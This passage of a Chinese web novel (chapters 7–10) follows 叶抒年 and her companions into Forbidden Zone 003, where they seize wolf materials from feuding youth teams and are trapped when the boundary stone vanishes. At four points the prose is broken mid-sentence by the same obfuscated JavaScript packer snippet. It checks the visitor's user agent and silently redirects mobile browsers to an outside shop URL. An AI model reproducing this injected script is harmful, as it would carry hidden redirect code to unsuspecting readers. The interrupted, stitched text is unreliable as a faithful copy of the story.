栅栏发出不堪折腾的尖声,四人前后迈入,踩着吱呀作响的木楼梯上了二楼。 俞不晚抬手敲了敲左侧的门:“叔,我带几个朋友来,她们要去003号禁区。” 说完这些,她径自转身,打开右侧房门闪了进去,动作一气呵成。门合上的声音轻而快,留叶抒年等人在楼道里空对寂寞。 左侧门板后很快传来沉稳的脚步声,显然是屋主正朝门边走来。叶抒年不自觉地屏息敛声,下一秒,门被推开。 三人齐刷刷转头,只见一个留着浓密胡须的黑发男人站在那儿,视线先后扫过她们的脸。那双蓝色的眼睛里看不出任何情绪,沉静得宛如凛冬的湖面。 “叔叔好……”叶抒年觉得气氛有点尴尬,忍不住想说些什么,但张了半天嘴也只能想到这么句开场白。 “你们好。”菲尔温摸了摸耳朵,朝她点头,表情依旧木讷。 场面再度陷入寂静,三人面对这么位前辈不知所措。叶抒年正要在心里抱怨俞不晚不仗义,林煦言已经笑着接过了话头。 谢天谢地,这里还有位话痨公子。 “菲叔,我们是那个……小俞的朋友,正打算进003号禁区,想来跟您讨点经验。”少爷说人话的时候还挺像模像样。 听到“003号禁区”,男人脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958910|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那层木然忽而松动了些。他侧身让出一个身位:“进来说。” 三人进了屋。这里陈设极简,只有几样必要的家具,叶抒年看在眼里,心头掠过一丝感慨。这样一位开创时代的人物,日子竟过得如此清简。 不过,她又注意到屋内的灯开得极亮。每盏灯都亮着,照得满室通明,不留一丝阴影。大概,这样一位开创时代的人物,也不缺这点电费吧。 “你们要去003号禁区。”菲尔温一字一顿地说。 “是,其实我们去过一趟了,不过上次运气好,只遇到迷雾,很快就出来了。” 菲尔温没理会林煦言的话,而是看着他们,忽然斩钉截铁地说:“千万要小心影子!” 叶抒年立刻想起昨日阮天清说的那条规则:当影子做出与你不同的动作时,要立即模仿它。 “您是指,会脱离本体的影子么?”她问。 “对。”菲尔温摸了摸耳朵,“如果你的影子脱离了掌控,一定要跟随它,让它来操控你……” 这话让叶抒年无端一悸,说不上来为什么不舒服,大概仅仅因为她这个人从小反骨惯了,不喜欢被动。 客厅内,阮天清仍在认真请教与003号禁区相关的细节,尽管这已经是当今被人开发探索得最深的禁区,但谁也不敢说,自己已经将禁区内的全部规则了解透彻。 叶抒年分出一缕神听着那些早年历险,目光却悄然扫过这间窄屋。全屋大概五十平米,这对于一个独身汉来说已经够用。 几步外的小餐桌上空无一物,桌面光洁如镜。这并不是个例,整间屋子都过分整洁,像被一双缜密的手反复擦拭过每一寸。她忽然觉得,这样的人能理出那些禁区规则,倒也不奇怪了。 忽然,她的目光被一件东西攫住了。 那是一本书。 或许更该说,那是一件饰满宝石的书。封面缀着的晶石无处不彰显着极繁主义,在极简的屋里显得格格不入。它就那么斜在床头柜上,似乎常被挪动,或翻阅。 叶抒年忽然生出一种猜测,她鼓起勇气问道:“叔叔,请问那本书是您的吗?” 这个突如其来的提问,让菲尔温像是被按下暂停键。片刻,他才答:“算是吧,那是我在003号禁区捡到的,留着当个纪念。我时常翻看,虽然看不懂那上面的东西。” “能借我们看看么?” 菲尔温显然没料到这般直接的要求,怔了怔,终是同意。 叶抒年取来那本笔记。翻开来发现,内页是清秀的手书,间或夹着诗句与哲学句子的摘录片段,看得出书写者是个富有才情的人。 笔记全部由中文书写,大概这也是为什么菲尔温说自己看不懂,尽管他的中文说得很流利,但阅读起来总归不一样。 三人凑在一起翻看。笔记内容并无特殊,除了那字迹格外娟秀之外。 叶抒年倒是惊讶地在里面找到了一句熟悉的话,她记得那句话出自拉康选集,关于镜像与自我。中学时,她也曾着迷恋过这些。 “婴儿通过识别镜中影像来初步形成自我概念……这个镜像是自我认同的起点。”林煦言发现叶抒年的目光停留在这页久久不动,便将那句话读了出来。 “这话我认可,我小时候第一次照完镜子,就意识到我将来一定是个大帅哥。”少爷发表了对这句摘录的欣赏意见。 “林煦言,你多读点书吧。”叶抒年将笔记合上,还给菲尔温。 恰在此时,敲门声响起。俞不晚的声音隔着门板传来: “我好了,走吧。” 8. 第8章 叶抒年觉得,在这个世道,打手确是件辛苦活,因为连俞不晚也背了个和阮天清同款的巨型背包,与她一身时髦打扮格格不入。 “背这么多,不会妨碍行动么?”叶抒年好奇地问。 “当然会呀。”俞不晚弯起眼,单手卸下背包就朝她抛来,“所以,麻烦雇主用你的异能帮忙收着啦。” 动作熟稔又自然,仿佛早笃定对方不会拒绝,也不担心对方私吞。 叶抒年对这无赖的举动有些无奈,却还是配合地接过,将背包纳入了系统空间。 四人向菲尔温道别,再次踏上前往禁区的路。俞不晚有自己的机车,行程快了许多。因此四人抵达003号禁区界碑时,日头才刚攀过半空。 似乎在他们之前,才刚进去一伙人,因为叶抒年看到界碑上多了张贴纸,黏胶还未干透。也不知道什么人这么没素质。 叶抒年上前,小心翼翼地将贴纸揭下,待胶痕稍褪,才轻轻放回碑前的土地上。这样既留了记号,也不污了这片寂静的入口。 天光澄澈,照着碑上深深浅浅的刻痕。 “你要找的狼群,这个时候多在巢穴休息,正是动手的好时机。”阮天清转向叶抒年,“进去后我们直接往森林深处去,端它们的窝。” 叶抒年点头,俞不晚和林煦言也对此没有异议。于是她将四人的交通工具收进储物空间,准备踏入禁区,却被林煦言叫住: “等一下,先戴上这个。” 只见林煦言不知从哪摸出来四副面具,只遮住半张脸,保密性没广场的那种高,但样式精巧许多。 “进禁区也要戴这个?有什么说法吗?”叶抒年接过,指尖抚过细腻的材质。 没什么说法,纯粹是因为,林煦言认出了刚才界碑上的贴纸纹样。那是终律城内部某支分队专属的徽记。 叛逆潜逃中的少爷不想这么快就被抓回去,不得不出此下策,但又不好意思让叶抒年得知自己此举的真实原因,于是说: “没什么,如果在禁区里跟人起了冲突,有了这个,至少能隐藏身份,不会在出去后被人报复。” 这个理由很合理,三人纷纷接过面具戴上。准备妥当后,她们这才穿过那座界碑。 这天禁区的气息与昨日截然不同。她们才刚进入,薄雾就已漫过脚踝,天光晦暗不明。林间也不再寂静,远处隐约传来人声争执,像闷雷滚在云后。 “那边好像有人?”叶抒年走着走着,发现前方密林处忽然枯木抖落,惊起一只林雀。 原本隐约的争执声越来越近,尽管叶抒年等人无意观赏,无奈那些人堵在她们的必经之路上。若要绕行,陌生的路线不仅麻烦,更藏着未知的风险。 因此阮天清在几番斟酌后决定:“按照原计划走,尽量避开那群人的视线。” 禁区内因争夺资源而起冲突并不稀奇,道上的人通常也守着规矩,不会轻易牵连无关者。况且她们这边几人都能应对变故,即便真遇上什么事,也有一搏之力。 四人没走多远,果然看见林间空地上两方人马正在对峙,甚至其中一伙还是认识的人。 是昨天单方面打过交道的联邦队员。许是因为到手的物资被劫,他们今天仍在搜寻。 只是经过昨日与检察官的摩擦,这批人携带的装备明显损耗了许多。有人端着老式枪炮,有人甚至只握着近战刀具,防护服上沾满泥污,此刻在另一伙人的压制下,已落了下风。 另一伙人大约是刚进禁区不久,一个个看上去精力更充沛,阵型也更齐整。统一的暗灰色作战服上徽记鲜明,多半配备了新式能量枪械,站在前列的几人甚至配有轻甲。 “别白费力气了,”一道嚣张的嗓音从林木那头传来,“这批药剂小爷我今天要定了。识相的就交出来,萧千复,这么多年了,你哪次赢过我?” 这挑衅的话音穿到叶抒年耳朵里。她被巨木遮挡了视线,看不见说话者的脸,却从这话里听出了端倪。 对方应该是四大政权之一的人,排除联邦,剩下的也不难猜。 而一旁的林煦言,比她更早猜出这些人的身份。 其实根本不需要猜,因为那声音他太熟悉了。是他的堂弟,终律城里的人。 对方家里在城中颇有地位,向来不服他们兄弟年轻掌事,堂弟也因此一贯嚣张,处处与他不对付。 “我们赶紧走吧,别在这耽误功夫。”林煦言压低声音,试图哄着众人赶紧绕开,免得他被认出来。 叶抒年也正有此意。 她可不想和四大政权有过多瓜葛,毕竟当初那张通缉令还在各大庇护所外墙张贴着,是四大政权联合政府亲手签发的。她这个在逃犯,并不想自投罗网。 四人于是放轻动作,迅速往侧方撤离。可没走上半分钟,身后骤然爆开一声枪响—— “砰!” 这枪响像一道信号,引来了更激烈的交火声。看样子,联邦那队人终是被激怒了,决定背水一战。 他们在这禁区里逗留太久了,不能再拖。现在那批药剂是他们费尽心力找到的,麾下队员还指望带着它回去证明自己,说什么也不肯轻易拱手让人。 不知是谁先扣下了扳机,但战火一旦点燃,就再收不住了。 城门失火,殃及池鱼。 双方一开战,流弹与能量束便四处飞窜,一道赤红的光束擦过叶抒年身侧的树干,留下焦黑的灼痕。 下一秒,炸开的碎木屑就混着断枝噼里啪啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958911|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砸下来。整片林子都在震动,空气里弥漫开烧焦植物的气味。 叶抒年猛地低头,一截碗口粗的断枝擦着她后背砸进泥土。 她踉跄两步,忍不住对林煦言小声抱怨:“你们终律城的小孩怎么这么嚣张?出门在外不能和气生财吗,偏要去挑衅人家!” 林煦言也正两只眼睛轮流放哨,盯着不断从天而降的巨枝,苦不堪言:“他从小就这样,我也没辙。” 他没问叶抒年怎么猜出对方来历,反正这女人身上的谜团已经够多了,就算现在说她能读心,他大概也会信。 其实在林煦言露出那副心虚模样、急着离开之前,叶抒年并未确定对方的来历。 不过眼下显然不是深究这些的时候,看样子,即便对方是终律城的人,林煦言似乎也拿他们束手无策。 叶抒年觉得,眼下最好的选择是先找地方躲一躲。听那动静,两边的冲突正愈演愈烈,战火随时可能蔓延到她们这儿来。 真是群不知轻重的小孩,叶抒年腹诽。为首那几个的模样,浑然像根本没把禁区规则放在眼里。 她听着身后不断的争执声,不禁心头警觉,祈祷那群人不要误触这里的规则,以免招致不可预料的反噬。 “前面有间小屋,”阮天清急促地说,“先去避一避,等他们打完再走。” 在这流弹四射的环境里继续赶路、寻找狼窝,实在过于危险。何况……看这阵仗,她觉得说不定还能等到点意外之喜。 四人于是借着林木掩护,一路躲开坠落的断枝与横飞的枪弹,猫着腰奔向那间小屋。 说来也怪,这片禁区虽已被森林覆盖,却残存着不少完整的建筑,仿佛在巨木拔地而起之前,这里也曾是一座寻常城镇。 眼前的小屋便是旧日的遗物,外墙由裸砖砌成,未粉刷也未贴砖,一副摇摇欲坠的残缺样子。 “其实大可不必躲,跟那群小崽子打一架也不费事。这么躲躲藏藏,倒像我怕了他们似的,憋屈。”俞不晚最后一个闪身进屋,顺手带上那扇嘎吱作响的铁门。 叶抒年摇摇头:“没必要节外生枝,他们争他们的资源,我们保存体力要紧。毕竟接下来还得找狼窝。” 她语气里藏着一丝紧绷。来到这个世界后,她尚未真正与异□□过手,心中难免没底。 阮天清看出她的顾虑,轻轻拍了拍她的肩:“别担心,说不定根本用不着我们亲自动手。” 这话一出,三人齐刷刷看向阮天清。 叶抒年最先反应过来,快步贴到门边,将耳朵凑近门板。 外头的森林里,枪炮声还在持续,伴随着两伙人的叫骂和喘息,以及,隐隐混进了一种低沉而陌生的声响。 是狼嚎。 9. 第9章 这突如其来的生物,给原本凌乱中带着点秩序的战场,泼了一盆冷水。 叶抒年和俞不晚一上一下趴在门边偷听。外头一声接一声的狼嚎,裹着怒意,在树木间回荡,分不清究竟来自多少喉咙,只觉得整片林子都在那声浪里微微震颤。 声音越来越近,大概是被林中这群小崽子打扰了清净,怒气冲冲寻过来,这阵仗,把原本还在对骂撕打的两拨人全震住了。 这两支队伍里都是年纪尚轻的少年,本是专程挑了这开发度最高的禁区来历练,此行没有任何一位长辈跟随。这会儿遇到一群高阶异兽,一个个都吓傻了。 刚才站在一旁打嘴炮助威的全部哑火,原本还扭打在一起、互相咬对方胳膊的几人瞬间停口,抱作一团,不约而同地将对方护至身前。 来之前,前辈们都说,这里的危险异兽早被清得差不多了,遇上的概率极小,只要记住几条禁区规则,躲着点那个神出鬼没的检察官,基本就畅行无阻。 这也是为什么,这群小崽子敢这么肆无忌惮地在禁区内交火。 但是前辈们没说,这森林里,还有这么大一群狼啊! 萧千复作为联邦这方的指挥,终究年长些,比旁人多了分沉稳。他曾听家中前辈提过遇狼的旧事,有些经验。此刻见群狼步步紧逼,目光锁住众人,而脊背弓起,正是扑杀的前兆。 千钧一发之际,他朝队员厉声喝道:“集中火力攻击它们,掩护伤员撤退,前面不远有间小屋,大家赶紧躲进去!” 这声音如同寂夜里响亮的哨箭,划破了原本混乱的局面。联邦的队员们迅速聚拢,将萧千复与伤者护在中间,边以枪火逼退不断扑袭的狼影,边向小屋方向移动。 终律城那边见状,也立即效仿,迅速结成防御阵型。指挥者林予安绝不肯在这关头,被死对头比下去,扬声喊道:“快!抢占小屋,别让联邦抢了先!” 本已紧绷的场面,因他这一喊,再度陷入推挤与争抢的混乱。 与此同时,屋内四人将那两声呼喊听得清清楚楚,你看我我看你。 这附近还有别的小屋吗?显然没有。 这小屋装得下那么多人吗?显然不行。 她们这四人是什么乐善好施的圣母吗?显然不是。 俞不晚率先发话:“我觉得不能让他们进来。” “那当然,他们来了,我们去哪?”叶抒年附和。 “今天说什么也不能让林予安进来!”林煦言疑似公报私仇。 阮天清总结道:“把门堵住。” 四个人一拍即合,分工有序。 俞不晚与林煦言一左一右抵住门板,叶抒年开始翻找储物空间,看有没有能加固门闩的东西;阮天清则向叶抒年借了把激光枪,想着如果外头那些人真撑不住了,她可以分出道火力,稍微帮帮忙。 四人屏息凝神,预备迎接预料中的冲撞与喧嚷。 可门外,预想中的哄闹却迟迟没有到来。 叶抒年最先察觉不对劲,那群小崽子不是要攻占小屋吗?怎么迟迟没动静。她透过门缝朝外看。 预想中人群蜂拥的场面并未出现。林中空地上污血漫开,刚才还凶相毕露的狼群竟都瘫倒在地,声息全无。 那群小崽子……居然打赢了。 而林中,寂静只维持了很短一瞬。先是一声带着颤音的询问打破了沉默: “老大……你刚刚,是不是突破了?” 问话的是个联邦队员。刚才那一幕所有人都看见了,撤退途中,一头狼突然扑向联邦伤员,萧千复为救人,竭尽全力催动异能,隔空一击—— 这里的人知道,萧千复的异能是稀有的精神攻击,威力强悍,但在来之前,他困于瓶颈多年,迟迟无法突破,也正因此,他此前屡屡成为林予安的手下败将。 可就在刚才,那道无形的冲击波竟在瞬间击退并重创多头狼,致使整个狼群溃散! 异能突破了。 联邦的少年们意识到这个事实,倏然沸腾,欢呼与祝贺陡然炸开。 尽管萧千复本人还对刚才那一击处于茫然状态,此刻也掩饰不住兴奋。几个平日受够了终律城窝囊气的队员,更是忍不住朝林予安那边投去讥诮的一瞥。 如今局势彻底反转。即便联邦已经弹尽粮绝,他们也不必再忍气吞声了。 “他们运气不错嘛。”屋内,俞不晚淡淡说了声。 “是不错,”林煦言接话,即便突破的人算是他们终律城的死对头,他也坦然献上祝贺,“现在林予安完全不是他的对手了。” 他稍稍停顿,眼底略过一丝迟疑:“不过,精神攻击刚达到第三层,威力就这么大了吗?” 他到底与外面那些普通队员不同,自小所接触的训练与见识都更严苛广博,因此很快怀疑起刚才那一击威力的真实性。 精神攻击突破到第三层的确很厉害,可以一己之力对抗好几只高阶异兽,但要说一击灭杀十余头高阶异兽,他是不信的。 “那个人就在附近。”阮天清忽然说。 叶抒年立刻反应过来她意指何人:“刚才那些狼群,是检察官动的手?” “检察官?!”林煦言和俞不晚异口同声道。 常接禁区内的活,俞不晚对这名字自然不陌生。不过由于她以前的雇主从来和四大政权扯不上关系,也就无缘领教对方的满禁区追杀。因此,她对此人多是好奇,而非畏惧。 “他不是向来最恨四大政权的人么?刚才为什么要出手?”俞不晚百思不得其解,难道说她曾经听过的那些八卦是假的? 林煦言一万个不信。刚要开口反驳,突然又想到放眼整个禁区,能做到刚才那一击的,除了那位,恐怕也找不出第二人了,于是又将到嘴边的话咽了回去。 “他会这么好心吗?”叶抒年昨天可是亲眼见到,那位凶神钝刀子磨肉,将联邦那群小孩折磨得苦不堪言。 阮天清同样难以相信,但她只依事实判断:“只可能是他了,虽然不知道他这么做有什么目的。” “这人肯定没安好心。”林煦言斩钉截铁地说。 叶抒年再次凑近门缝,向外窥探情况。天光从叶隙漏下来,一道身影不知何时静立在林间。她视线上移,猝不及防地,撞进了一双眼里。 与昨日如出一辙。那目光清冽,像终年不化的雪,带着一种置身事外的、俯看尘泥般的冷寂。 吓死个人。 叶抒年还在为昨日的事情心虚,慌忙移开视线,安慰自己,兴许只是她多心了,对方可能压根没注意到她呢,不会来找她麻烦的。 她的猜想得到了验证。 那位检察官果然没在看她,而是在被众人发觉之前转身离去。那背影颀长,悄无声息地没入林间光影。 叶抒年正犹豫是否该说出检察官来过的事,却发现其余三人似乎并不挂心于此。相比这个,她们更在意林中那几头狼尸。 她们此行要找的腐酸犬齿就在那里。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958912|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可林子里那些联邦与终律城的少年也不傻。高阶异兽的遗骸意味着稀有材料,而这些材料可用于各项新型武器的研发和药剂调配。 因此他们一个个守尸待餐,分明是等着收割。 不能再等了。腐酸犬齿也算稀有材料,过了这村就没这店,谁也不知道,这片禁区内是否还存在另一批狼群。 眼下对于叶抒年而言,最佳做法就是在这批狼尸中取到她要的材料。 好在叶抒年擅长这个,有了昨天捡漏的经验,她熟练地掏出回响之心,准备推门冲进人群,于数十位队员中取头狼首级。 然而,她手指刚触上门闩,就被阮天清轻轻按住了。 “你看得到我?”叶抒年不敢置信。她刚才使用了回响之心,按理说现在已经进入隐身状态。 “恐怕你这次没法故技重施了。”阮天清略表遗憾,“你的回响之心能量耗尽了。” 叶抒年得知了这个噩耗,倏地转头看向林煦言。 合着这小子,当初就拿这么个一次性产品来糊弄她! 林煦言别开脸,没敢接她的目光。他倒不是成心糊弄,只是当时他身上……也只剩这一颗了。其余那些宝贝,早在此前的禁区之行里,被那位检察官收拾得干干净净。 “那我们现在怎么办?”没了隐身异能,叶抒年自然也就无法神不知鬼不觉地捡漏了。 “何必那么费劲——”俞不晚忽然挽起袖子,一副跃跃欲试的模样,“来,把我的包拿出来。” 叶抒年看她这副样子,隐约猜到了俞不晚的意图。她从空间里取出那只巨型背包,然后眼睁睁看着俞不晚利落地翻出架冲击炮,二话不说,推门就踏了出去。 “她这样……真的没问题吗?”叶抒年有些茫然地看向阮天清。 “她戴了面具。” 面具之下,容貌身份皆被隐藏,事后也不必担心被寻仇。自然,动手“取”东西也就没了那么多顾忌。 叶抒年叹为观止。 林中,那群刚经历狼袭、惊魂未定的少年,还未从喘息中平复,便见一位扛着冲击炮的蒙面大盗拦在面前。 不知谁先喊了一声,众人顿时慌作一团,也顾不得什么队形体面,纷纷嚎叫着逃窜。 不多时,俞大盗便折返回来,肩上多了一只鼓鼓囊囊的麻袋,这袋子还是她从终律城那个指挥手里顺手捎来的。 叶抒年什么也没说,向俞不晚竖起大拇指,以表致敬。阮天清和林煦言纷纷效仿,四人在摇曳的树影中互相欣赏。 这个时候,她们谁也不知道,刚才结下的梁子,报应来得那样快。 四人收拾好战利品,心满意足地踏上返程的路,途中一路通畅,就在她们即将抵达界碑处时——她们和终律城的小队狭路相逢了。 不远处,林予安正和几个队员围着界碑,不知在做什么。叶抒年见状,立马心虚地将俞不晚拉到自己身后,企图以自己的身躯遮住俞大盗。 但林予安眼尖,一眼就认出,刚才趁火打劫、还抢走他麻袋的大盗就在四人当中。 “你们站住!” 做贼心虚的四人撒腿就跑,丝毫不理会林予安。 她们都已经走到界碑附近了,只需要再稍微冲两步就可以离开禁区,谁还管身后来寻仇的人呢?等出了禁区,林予安就算跑断腿也追不上她们。 然而她们大意了。 就在叶抒年脚尖即将迈出边界的一刹,那座庄严肃穆的界碑……跑了。 10. 第10章 界碑跑了。 叶抒年简直不敢相信自己的眼睛。 这界碑怎么还能这样? 饶是对禁区规则经验丰富的阮天清,此刻也默然无声。她也是头一回知道,界碑居然会动。 俞不晚对此倒是心态良好。 反正她也不怵那个终律城小指挥,刚才跑那么快,只是想给自己省点麻烦,就算待会对方要跟她动手,她也丝毫不担心自己会落于下风。 但林煦言可就没那么好的心态了。少爷简直要给那块调皮的界碑跪下,大喊祖宗别跑了,行么? 他毫不怀疑,即便此刻戴着面具,林予安也能一眼将他认出来。 界碑却不管这些。 它先是轻轻震了一下,紧接着碑体表面那些刻痕里,流淌出水波般的微光。 没等任何人反应过来,它已经自顾自地滑到二十米外的草地上,而众人脚下的土地传来一阵沉闷的蠕动感。 霎时间,众人感到一阵天旋地转,整片禁区仿佛活了过来。 先是远处的树木轮廓出现了重影,近处的灌木也似乎向左平移了几寸。 叶抒年怀疑自己眼花,揉了揉眼睛,待重新定神,界碑已不见踪影。而下一秒,更为清晰的咔嚓声从地底传来,仿佛巨大的齿轮开始转动。 右侧的一片矮墙突然塌陷,又在左边外隆起。脚下泥土也突然变得松软,似乎正微微起伏。这一刻,世界的法则在这里短暂失效,众人熟悉的景物正缓慢重组…… 当最后一阵嗡鸣逝去,一切重归寂静时,界碑原先所在之处已空空如也。展现在众人眼前的,是林木更为幽深、气息更为陌生的禁区腹地。 “大爷的,界碑怎么不见了?”林予安也惊住了,一拍大腿,声音里压不住慌乱。显然,界碑消失带给他的冲击,一时甚至盖过了被抢劫的愤懑。 他不过是发觉自己贴在界碑上的标记被人撕了,一气之下在碑上刻了个“到此一游”,谁知道会有这么大反应? 叶抒年没好气地瞪他,已经无力吐槽。 刚才对着界碑鬼鬼祟祟捣鼓半天的人,不正是林予安自己么? “有人触发了未知的禁区规则。”阮天清的声音低沉下去,带着前所未有的凝重。 在她的记忆里,目前003号禁区的全部探索记录中,没有任何人遇过刚才这种情况。 这么诡异的事情,只能是有不知情的人,误触了某条尚未被人开发的规则。而代价,恐怕要由此刻在场所有人共同承担。 叶抒年由此受到点醒,猜测道:“或许是某种自动保护机制,界碑感知到被侵犯的威胁,才会转移位置躲避。” 仿佛为印证她的判断,天色骤暗。 乌云像水墨般,将整片天泼成黑色,随即,空中飘来一串叶片,那些叶子泛着醒目的金光,仿佛受到某种牵引,在众人头顶汇聚。 一行字迹以天幕为背景,缓缓浮现: “第五规约,已确认触发。 缘由:界碑遭受污损,其灵魂悲泣,故此隐匿。 期限:三日。 条件:寻获界碑,取得其原谅,可得宽宥离去。 罚则:逾时未成,界碑灵寂,归途永绝。” 叶抒年逐字念出,念完后陷入了短暂的沉默。过了好半晌,她才开口:“归途永绝,是什么意思?我们再也出不去了么?” “恐怕是的……”俞不晚脸色少见地难看。 这回连她也没法保持良好心态了,她瞥向林予安的方向,只恨自己刚才没在林中直接将这个二百五敲晕。 “现在怎么办?你们觉得界碑会藏在哪里?”林煦言心力交瘁,实在不想承认,那个惹祸的混蛋与自己同出一门。 而阮天清仍在沉思对策。 依她的经验,任何规则,必定留有线索与痕迹,禁区不会凭空降下无解的惩罚。既然要求他们寻找界碑,那么这条路上,一定留下了某种暗示。 暗示还没找到,众人先等来了不知从何处传来的钟声。 “铛——” 一声沉郁苍凉的钟鸣,仿佛穿越了漫长岁月,从禁区深处缓缓荡来,敲在每一个人的心间。 紧接着是第二声、第三声……钟声不疾不徐,却带着奇异的韵律,像是在为某种倒计时进行着庄严宣告。 叶抒年侧耳倾听,心跳不由自主地,跟上了那钟声的节奏。 它响了很久。 久到叶抒年在心里默数的数字,已垒成了一个小丘。终于,最后一声余韵散尽,林中重回一片滞重的安宁。 “一共敲了72下,这钟声……大概是在替我们计时。每隔一小时,钟声会减少一次。”叶抒年分析自己的猜测。 阮天清抬眼看了看天色,大致估测了一下时间:“现在应该正值晌午,距离天黑还剩六个小时,我们最好赶紧行动,事不宜迟。” 迟了,便得在这禁区里过夜。白日的003号禁区尚且算温和,入夜后却是另一番天地。 “四个人一起找界碑,效率太低了,”叶抒年望向林深处,目光停在一抹熟悉的旧色上,“不如分头行动,你和小俞去找界碑,或者看看能不能查到有关界碑的线索。我和林煦言去那边的小屋,我想试着将小屋改造成庇护所。” 她心中莫名有种预感。今晚,她们恐怕要在这里过夜了。夜晚的禁区危机四伏,她们冒不起这个险,倒不如提前做两手准备。 阮天清和林煦言都觉得这个提议不错,俞不晚还没见过叶抒年在荒芜地修烂尾楼的场面,仍对此决策持保留意见。不过,她就算觉得这个行为太过冒险,也还是愿意相信叶抒年。 四人很快分作两路。阮天清和俞不晚一人背了个包,又从叶抒年那里取了些随身武器和生活物资,身影遁入密不透风的森林。 叶抒年则拉着林煦言朝小屋走去。 说来也巧,刚才界碑移动时,整个禁区内的景象全部发生了置换,偏偏这座小屋换来换去,还是换到了她们身边。也算是种特殊的缘分。 抵达小屋后,叶抒年先是动用系统赋予的能力,用透视仔细检视了房屋的框架结构。确认地基稳固,她便从储物空间中取出建材,着手修葺。 先是填补墙面的裂缝,加固松动的窗框与门枢,再将外墙层层加厚,让这座旧屋在森林里重新显得牢靠而踏实。 时间过得很快,转眼红日已晕染了半边天,暮色不远了。 好在叶抒年手脚利落,在林煦言的协助下,整座小屋已焕然一新。可她仍不放心,索性敲了敲沉寂许久的系统。 “你既然是个系统,总该有商店功能吧?我想给这屋子上套安全体系,最好能隔绝禁区规则的影响,你有没有什么办法?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958913|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >系统似乎很不耐烦,静了片刻,才慢吞吞弹出一行字: 【庇护所安全系统三个等级供选:初级(1积分)、中级(2积分)、高级(3积分)。】 【用户当前积分:2。】 叶抒年想了想,这2积分大概是她两次获取禁区材料得来的。她没有任何犹豫,指尖一点,换下了那套中级安全系统。 系统这次工作效率极高,只一瞬,整个小屋内的装修就又上升了一个层次,甚至凭空多出几件实用的家具。这变化让一旁的林煦言看得目瞪口呆。 这女人简直神了。 亲眼目睹了叶抒年展示神力的少爷,此刻已经彻底拜倒在她的石榴裙下。尽管叶抒年还穿着那身不起眼的蓝色防护服,却丝毫不妨碍林煦言认定她是个深藏不露的高手。 叶抒年对小屋现在的状态很满意。她从空间里取出铁锤,打算在门口挂个高些的标记。以免她们离开小屋后,被参天巨木遮了视线,找不到回来的路。 见叶抒年走出门,林煦言也赶紧跟上。两人便在暮色余晖里,趴在屋顶上敲敲打打,将一架立体风车稳稳安在屋脊上。 这是叶抒年从系统那儿软磨硬泡来的赠品,不值什么钱,也没什么大用。可晚风一起,三片薄翼便轻灵地转开了,带起一连串清越的脆响。 这声音悠悠荡荡飘进林子里,却引来了不速之客。 杂沓的脚步声由远及近,停在屋下。 “林煦言,你不老老实实回家,就为了在这儿修房子?” 一道懒洋洋的嗓音响起,带着令人不适的讥诮。 叶抒年偏头往屋檐外望去。 只见林予安抱着胳膊站在下面,身后跟着七八个终律城的队员,个个神色不善。 看上去像是在别处碰了壁,攒了一肚子火气,专程上这儿找茬来了。 叶抒年懒得搭理林予安,自顾自拿着铁锤对风车底座敲敲打打。 林予安像是被这无视激了一下,往前走了两步,声音扬得更高: “怎么不敢说话?怕我出去找你哥告状?放心,他在城里都快自身难保了……我爸和组委会几个老人,早就在商议换执政官的事了。话说你们在这儿敲这破屋子有什么用?” 他身后的队员发出几声低低的哄笑。 林予安更来劲了,抬手指了指屋顶:“我说,你们该不会真以为,躲进这种地方就安——” “全”字没出口。 林煦言原本忍了又忍,实在怒不可遏,打算跳下去找林予安打一架,却听见身旁叶抒年忽然停了敲打。 她伸出手,仔细扳了扳刚固定好的风车底座,确认这东西纹丝不动,绝不会掉。 然后她手腕一翻,握紧了锤柄,连看也没往下多看一眼,手臂在空中划了道短促的弧线。 铁锤干脆利落地飞向地面。 “啊——!” 底下传来惨叫。 林予安捂着肩膀踉跄退了好几步,疼得脸都皱成一团,刚才那副嚣张气焰瞬间灭得干干净净。 屋顶上,叶抒年拍了拍手上沾的木屑,对身旁有些发愣的林煦言挑了下眉:“下去吧,清清她们也差不多该回来了。” 暮色渐浓,风还在吹。 